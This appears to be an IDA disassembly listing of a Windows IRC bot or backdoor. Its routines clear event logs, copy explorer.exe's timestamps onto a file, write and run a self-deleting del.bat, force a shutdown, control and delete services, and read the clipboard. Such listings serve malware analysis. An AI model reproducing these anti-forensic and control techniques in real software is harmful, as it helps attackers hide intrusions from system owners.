
loc_415266:				; CODE XREF: sub_415221+3Ej
		inc	eax
		jmp	short loc_41525A
; ---------------------------------------------------------------------------


loc_415269:				; CODE XREF: sub_415221+43j
					; sub_415221+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_415283
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_415269
		cmp	cl, 21h
		jl	short loc_415269


loc_415283:				; CODE XREF: sub_415221+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4D7B84
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_417E90
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152AB	proc near		; CODE XREF: sub_401AC7+201Ap
		push	esi
		push	0
		call	dword_4C97D0	; OpenClipboard
		test	eax, eax
		jz	short loc_4152E2
		push	1
		call	dword_4C97F0	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4152E2
		push	edi
		push	esi
		call	dword_423140	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_42313C	; GlobalUnlock
		call	dword_4C9850	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4152E2:				; CODE XREF: sub_4152AB+Bj
					; sub_4152AB+19j
		xor	eax, eax
		pop	esi
		retn
sub_4152AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152E6	proc near		; CODE XREF: sub_401AC7+69FFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4C980C	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_415362
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_42314C	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_423148	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_417D96
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4C9858	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4C9858	; SendMessageA
		push	ebx
		call	dword_423144	; UnmapViewOfFile
		push	edi
		call	dword_423068	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_415364
; ---------------------------------------------------------------------------


loc_415362:				; CODE XREF: sub_4152E6+16j
		xor	eax, eax


loc_415364:				; CODE XREF: sub_4152E6+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4152E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415368	proc near		; CODE XREF: sub_401221+20Fp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4C98B8	; SearchPathA
		test	eax, eax
		jz	short loc_415407
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4230EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_415407
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_423154	; GetFileTime
		push	ebx
		mov	ebx, dword_423068
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415407
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_423150	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_415407:				; CODE XREF: sub_415368+2Aj
					; sub_415368+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415368	endp


; =============== S U B	R O U T	I N E =======================================



sub_41540C	proc near		; CODE XREF: sub_401AC7+1350p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_4166AF
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4C9750	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_41540C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41542E	proc near		; CODE XREF: sub_401AC7+22ACp
					; sub_413F23+472p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42508C, esi
		push	edi
		jz	short loc_415452
		cmp	dword_4C98CC, esi
		jnz	short loc_415452
		push	esi
		call	sub_401000
		pop	ecx


loc_415452:				; CODE XREF: sub_41542E+13j
					; sub_41542E+1Bj
		call	sub_40A3CC
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4230B0	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_4230EC	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4155B2
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4230E0	; WriteFile
		push	edi
		call	dword_423068	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417AA0
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43B9B8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_42309C	; GetModuleHandleA
		push	eax
		call	dword_423070	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_423098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41555A
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_423094	; SetFileAttributesA


loc_41555A:				; CODE XREF: sub_41542E+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_417D96
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_423158	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_42306C	; CreateProcessA


loc_4155B2:				; CODE XREF: sub_41542E+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41542E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155B6	proc near		; CODE XREF: sub_401AC7+6807p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4230C8	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_41564C
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4C978C	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4C9798	; ClearEventLogA
		test	eax, eax
		jz	short loc_41563E
		push	[ebp+arg_10]
		push	offset dword_4396D8


loc_415617:				; CODE XREF: sub_4155B6+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h
		jmp	short loc_415676
; ---------------------------------------------------------------------------


loc_41563E:				; CODE XREF: sub_4155B6+57j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4396B0
		jmp	short loc_415617
; ---------------------------------------------------------------------------


loc_41564C:				; CODE XREF: sub_4155B6+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_439680
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 1Ch


loc_415676:				; CODE XREF: sub_4155B6+86j
		pop	edi
		leave
		retn
sub_4155B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415679	proc near		; CODE XREF: sub_401AC7+4D2Ap

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4230C8	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_4156CF
		cmp	[ebp+var_8C], 0
		jnz	short loc_4156B8
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4156CF
		leave
		retn
; ---------------------------------------------------------------------------


loc_4156B8:				; CODE XREF: sub_415679+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4156CA
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4156CF


loc_4156CA:				; CODE XREF: sub_415679+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4156CF:				; CODE XREF: sub_415679+27j
					; sub_415679+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_4230B8	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	dword_4230BC	; GetProcAddress
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_419B84
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_419B84
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_419B84
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_419B67
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetTickCount
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	dword_42315C	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_415679	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415759	proc near		; CODE XREF: sub_40111D+F7p
					; sub_40D7E2+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_417DF2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4236E8
		call	sub_418C98
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415759	endp


; =============== S U B	R O U T	I N E =======================================



sub_415796	proc near		; CODE XREF: sub_401AC7:loc_4057BAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4157FB
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439700[esi]
		push	edi
		push	eax
		call	sub_41581D
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4157DE
		push	edi
		push	off_4396FC[esi]
		mov	esi, offset dword_4D8448
		push	offset unk_439810
		push	esi
		call	sub_417D96
		add	esp, 10h
		jmp	short loc_415818
; ---------------------------------------------------------------------------


loc_4157DE:				; CODE XREF: sub_415796+2Aj
		push	eax
		call	sub_4158BF
		push	eax
		push	edi
		mov	esi, offset dword_4D8448
		push	offset unk_4397E4
		push	esi
		call	sub_417D96
		add	esp, 14h
		jmp	short loc_415818
; ---------------------------------------------------------------------------


loc_4157FB:				; CODE XREF: sub_415796+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4D8448
		push	off_4396F8[eax*4]
		push	offset unk_4397C0
		push	esi
		call	sub_417D96
		add	esp, 0Ch


loc_415818:				; CODE XREF: sub_415796+46j
					; sub_415796+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_415796	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41581D	proc near		; CODE XREF: sub_415796+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4C97F4	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_415844
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4158B9
; ---------------------------------------------------------------------------


loc_415844:				; CODE XREF: sub_41581D+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4C96EC	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_415864
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4158B1
; ---------------------------------------------------------------------------


loc_415864:				; CODE XREF: sub_41581D+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_415897
		cmp	eax, 3
		jz	short loc_415888
		jle	short loc_4158AA
		cmp	eax, 6
		jg	short loc_4158AA
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4C9758	; ControlService
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_415888:				; CODE XREF: sub_41581D+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4C96F4	; StartServiceA
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_415897:				; CODE XREF: sub_41581D+4Dj
		push	esi
		call	dword_4C975C	; DeleteService


loc_41589E:				; CODE XREF: sub_41581D+69j
					; sub_41581D+78j
		test	eax, eax
		jnz	short loc_4158AA
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_4158AA:				; CODE XREF: sub_41581D+54j
					; sub_41581D+59j ...
		push	esi
		call	dword_4C9708	; CloseServiceHandle


loc_4158B1:				; CODE XREF: sub_41581D+45j
		push	edi
		call	dword_4C9708	; CloseServiceHandle
		pop	esi


loc_4158B9:				; CODE XREF: sub_41581D+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41581D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4158BF	proc near		; CODE XREF: sub_415796+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_415974
		jz	loc_41596D
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_415937
		jz	short loc_41592D
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_415923
		dec	ecx
		dec	ecx
		jz	short loc_415919
		dec	ecx
		jz	short loc_41590F
		sub	ecx, 51h
		jz	short loc_415905
		sub	ecx, 24h
		jnz	loc_4159EA	; default
					; jumptable 00415991 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_415905:				; CODE XREF: sub_4158BF+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_41590F:				; CODE XREF: sub_4158BF+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_415919:				; CODE XREF: sub_4158BF+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_415923:				; CODE XREF: sub_4158BF+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_41592D:				; CODE XREF: sub_4158BF+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_415937:				; CODE XREF: sub_4158BF+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_415966
		dec	ecx
		jz	short loc_41595F
		dec	ecx
		jz	short loc_415958
		dec	ecx
		jnz	loc_4159EA	; default
					; jumptable 00415991 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4159DC
; ---------------------------------------------------------------------------


loc_415958:				; CODE XREF: sub_4158BF+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_41595F:				; CODE XREF: sub_4158BF+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_415966:				; CODE XREF: sub_4158BF+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_41596D:				; CODE XREF: sub_4158BF+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_415974:				; CODE XREF: sub_4158BF+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_4159EA ; default
					; jumptable 00415991 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4159D7
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_4159EA ; default
					; jumptable 00415991 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_415A2B[ecx]
		jmp	off_415A03[ecx*4] ; switch jump


loc_415998:				; DATA XREF: .nsp0:off_415A03o
		push	offset aTheSpecifiedDa ; jumptable 00415991 case 7
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_41599F:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: .nsp0:off_415A03o
		push	offset aTheServiceDepe ; jumptable 00415991 case 17
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159A6:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: .nsp0:off_415A03o
		push	offset aTheServiceDe_0 ; jumptable 00415991 case 10
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159AD:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: .nsp0:off_415A03o
		push	offset aTheServiceHasB ; jumptable 00415991 case 0
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159B4:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: .nsp0:off_415A03o
		push	offset aTheSpecified_0 ; jumptable 00415991 case 2
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159BB:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: .nsp0:off_415A03o
		push	offset aTheServiceCoul ; jumptable 00415991 case 11
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159C2:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: .nsp0:off_415A03o
		push	offset aTheServiceHa_0 ; jumptable 00415991 case 14
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159C9:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: .nsp0:off_415A03o
		push	offset aTheRequested_1 ; jumptable 00415991 case 3
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159D0:				; CODE XREF: sub_4158BF+D2j
					; DATA XREF: .nsp0:off_415A03o
		push	offset aTheServiceHasN ; jumptable 00415991 case 4
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_4159D7:				; CODE XREF: sub_4158BF+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4159DC:				; CODE XREF: sub_4158BF+41j
					; sub_4158BF+4Bj ...
		push	offset dword_4D7D88
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	short loc_4159FD
; ---------------------------------------------------------------------------


loc_4159EA:				; CODE XREF: sub_4158BF+36j
					; sub_4158BF+89j ...
		push	eax		; default
					; jumptable 00415991 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4D7D88
		call	sub_417D96
		add	esp, 0Ch


loc_4159FD:				; CODE XREF: sub_4158BF+129j
		mov	eax, offset dword_4D7D88
		retn
sub_4158BF	endp

; ---------------------------------------------------------------------------
off_415A03	dd offset loc_4159AD	; DATA XREF: sub_4158BF+D2r
		dd offset loc_4159B4	; jump table for switch	statement
		dd offset loc_4159C9
		dd offset loc_4159D0
		dd offset loc_415998
		dd offset loc_4159A6
		dd offset loc_4159BB
		dd offset loc_4159C2
		dd offset loc_41599F
		dd offset loc_4159EA
byte_415A2B	db	0,     9,     1,     2 ; DATA XREF: sub_4158BF+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A3D	proc near		; CODE XREF: sub_401AC7+3D1Ep

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4C97F4	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_415A75:				; CODE XREF: sub_415A3D+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4C97C4	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_415AAF
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_415B63


loc_415AAF:				; CODE XREF: sub_415A3D+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_415B5A
		lea	esi, [ebp+var_188]


loc_415AC0:				; CODE XREF: sub_415A3D+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_415B09
		dec	eax
		jz	short loc_415B02
		dec	eax
		jz	short loc_415AFB
		dec	eax
		jz	short loc_415AF4
		dec	eax
		jz	short loc_415AED
		dec	eax
		jz	short loc_415AE6
		dec	eax
		jz	short loc_415ADF
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415ADF:				; CODE XREF: sub_415A3D+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415AE6:				; CODE XREF: sub_415A3D+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415AED:				; CODE XREF: sub_415A3D+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415AF4:				; CODE XREF: sub_415A3D+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415AFB:				; CODE XREF: sub_415A3D+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415B02:				; CODE XREF: sub_415A3D+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_415B0E
; ---------------------------------------------------------------------------


loc_415B09:				; CODE XREF: sub_415A3D+87j
		push	offset aStopped	; "    Stopped"


loc_415B0E:				; CODE XREF: sub_415A3D+A0j
					; sub_415A3D+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_417D96
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_415AC0


loc_415B5A:				; CODE XREF: sub_415A3D+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_415A75


loc_415B63:				; CODE XREF: sub_415A3D+6Cj
		push	[ebp+var_C]
		call	dword_4C9708	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_415A3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B7A	proc near		; CODE XREF: sub_401AC7:loc_4058A1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_415C13
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_415BA3
		dec	eax
		jnz	short loc_415BF3
		push	edi
		push	0
		call	sub_415CE5
		pop	ecx
		pop	ecx
		jmp	short loc_415BEF
; ---------------------------------------------------------------------------


loc_415BA3:				; CODE XREF: sub_415B7A+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_415BE1
		push	24h
		push	edi
		call	sub_4184B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415BE1
		push	57h
		pop	eax


loc_415BBA:				; CODE XREF: sub_415B7A+77j
		push	eax
		call	sub_4164BD
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4D8044
		push	off_4396F8[eax*4]
		push	offset unk_439DA4
		push	esi
		call	sub_417D96
		add	esp, 18h
		jmp	short loc_415C33
; ---------------------------------------------------------------------------


loc_415BE1:				; CODE XREF: sub_415B7A+2Dj
					; sub_415B7A+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_415C39
		add	esp, 0Ch


loc_415BEF:				; CODE XREF: sub_415B7A+27j
		test	eax, eax
		jnz	short loc_415BBA


loc_415BF3:				; CODE XREF: sub_415B7A+1Bj
		lea	eax, [esi+esi*2]
		push	edi
